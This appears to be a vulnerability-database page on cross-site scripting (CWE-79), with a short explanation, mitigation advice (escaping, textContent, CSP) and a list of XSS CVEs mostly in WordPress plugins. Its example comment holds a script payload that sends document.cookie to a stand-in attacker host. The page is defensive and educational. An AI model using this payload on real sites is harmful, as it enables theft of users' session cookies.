Fallos del tipo CWE-79

29.882 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2023-39988MEDIUMWordPress WxSync Plugin <= 2.7.23 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2023-23817MEDIUMWordPress Simple PDF Viewer Plugin <= 1.9 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2023-23832MEDIUMWordPress Ultimate WP Query Search Filter Plugin <= 1.0.10 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2024-4569MEDIUMElementor Addon Elements <= 1.13.5 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.4%CVE-2023-32578MEDIUMWordPress Column-Matic Plugin <= 1.3.3 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2023-31217MEDIUMWordPress User Location and IP Plugin <= 1.6 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2024-23183MEDIUMCross-site scripting vulnerability in a-blog cms Ver.3.1.x series versions prior to Ver.3.1.7, Ver.3.0.x series versions prior to Ver.3.0.29EPSS 0.4%CVE-2023-45608MEDIUMWordPress Smart Cookie Kit Plugin <= 2.3.1 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2025-22532MEDIUMWordPress Simple Photo Sphere plugin <= 0.0.10 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2023-23877MEDIUMWordPress Pinterest RSS Widget Plugin <= 2.3.1 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2022-45812MEDIUMWordPress Exxp Plugin <= 2.6.8 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2023-22717MEDIUMWordPress FormCraft Plugin <= 1.2.6 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2023-27443MEDIUMWordPress Simple Vimeo Shortcode Plugin <= 2.9.1 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2024-11871MEDIUMSocial Media Shortcodes <= 1.3.0 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.4%CVE-2024-11875MEDIUMAdd infos to the events calendar <= 1.4.1 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.4%CVE-2025-24644MEDIUMWordPress WooCommerce PDF Invoices plugin <= 4.7.1 - Stored Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2025-39543MEDIUMWordPress Royal Elementor Addons plugin <= 1.3.977 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2024-37563MEDIUMWordPress TOCHAT.BE plugin <= 1.3.0 - Unauthenticated Stored Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2026-10091HIGHEmail JavaScript Cloak <= 1.03 - Unauthenticated Stored Cross-Site ScriptingEPSS 0.4%CVE-2025-58080MEDIUMA reflected cross-site scripting (xss) vulnerability exists in the modifyHL7App functionality of MedDream PACS Premium 7.3.6.870. A speciallEPSS 0.4%